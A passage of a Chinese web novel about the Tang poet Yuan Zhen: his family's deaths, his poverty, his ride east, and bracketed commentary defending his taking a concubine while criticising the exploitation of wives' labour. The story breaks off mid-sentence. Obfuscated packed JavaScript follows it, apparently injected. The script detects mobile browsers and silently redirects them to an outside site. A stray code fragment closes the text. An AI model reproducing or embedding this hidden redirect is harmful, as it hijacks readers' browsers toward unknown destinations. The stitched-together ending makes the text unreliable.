儿活下来，都夭折了。
还有就是根据裴淑墓志，大和四年到五年元稹在武昌时有一名妾室李氏，生子元道护。
总共活下来两个女儿一个儿子，我们不得不说元稹的子女运是真的不怎么样。】
想到儿子们稚嫩的面容，元稹神色一黯。
丈人年初去世，老母随后驾鹤，四年后爱妻离世，元和六年子女已经凋零到只有一个如今还未出生的女儿。
他现在身边围绕的人都会在短短几年中离开，他的影子会承载上他们的生命，代他们在人世间行走。
或许大医能挽救一二，可他现在的症结，是贫穷。
买不起好的药材，甚至亲人的去世，也可能是生的穷病。
诚知此恨人人有，贫贱夫妻百事哀。②
他进驿站，贷快马，报出名字的那一刻，他看着驿吏的眼神爆发出震惊，又转化为同情。
驿吏问：你的老丈人呢？他这个月就要去世了。
他答：我不知道母亲什么时候去世，只能顾上一头。岳父是良师益友，可我从小父亲去世，大哥失踪于战乱，母亲一个人拉扯了我们兄弟三个。她养大我，教我读书做人，我不想母亲操心我、抚养我，最后一天好日子都没过就离世。夫人已经向岳父带去了医者的消息，岳父应该可以再多活些时日。
驿吏牵马，元稹上马。他最后看了一眼长安，策马东去。
韦夏卿在园中四顾，见到一个未来的亡者，又一个，再一个，还有女儿腹中还没出生的小亡者。
他只能叹气：“茂之，保子这个名字取得好啊……”
能取出这个名字，前几个孩子夭折的时候，这对夫妇该有多悲痛——
他们放下了对孩子的一切期望，只简单祈求女儿活着。
【这时候就有人要说了，如果元稹不好色，单纯照顾女儿和自己的日常起居，为什么要纳妾而不是雇仆人？
虽然纳安仙嫔与好色无关，但其中理由关乎婚姻的本质，是封建社会吃人的又一体现。我们这篇是辟谣而不是造神，也不必有所避讳——即使这在封建时代极其正常，甚至到了现代也无法完全规避。
元稹在江陵时生了重病，自己都感叹“归途奈无际”③，对自己生还不抱希望，再加上他“满眼文书堆案边，眼昏偷得暂时眠”④的工作态度，还要照顾刚会绕床行走的小女儿，才在好友李景俭的建议下纳妾。
省流一下他当时的状况：没钱养家重病工作的牛马，兼职保父。
这种自身难保的情况下纳妾也有其无奈。
纳妾也与他的贫穷重病有关，因为纳妾比请仆人少了一项工资钱，又能把姑娘绑在他的船上，即使自己死了女儿也能有个依靠。
古有王安石在外为官，妻子买妾送去照顾起居被王安石赠银遣返⑤，今有某教授为不发工资求婚保姆被清醒保姆拒绝。
只要缔结了婚姻关系，家庭内部的工作就被定性为义务劳动。
这是对女人劳动的严重剥削。
元稹确实为了自己和女儿的存活，剥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988076|161562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove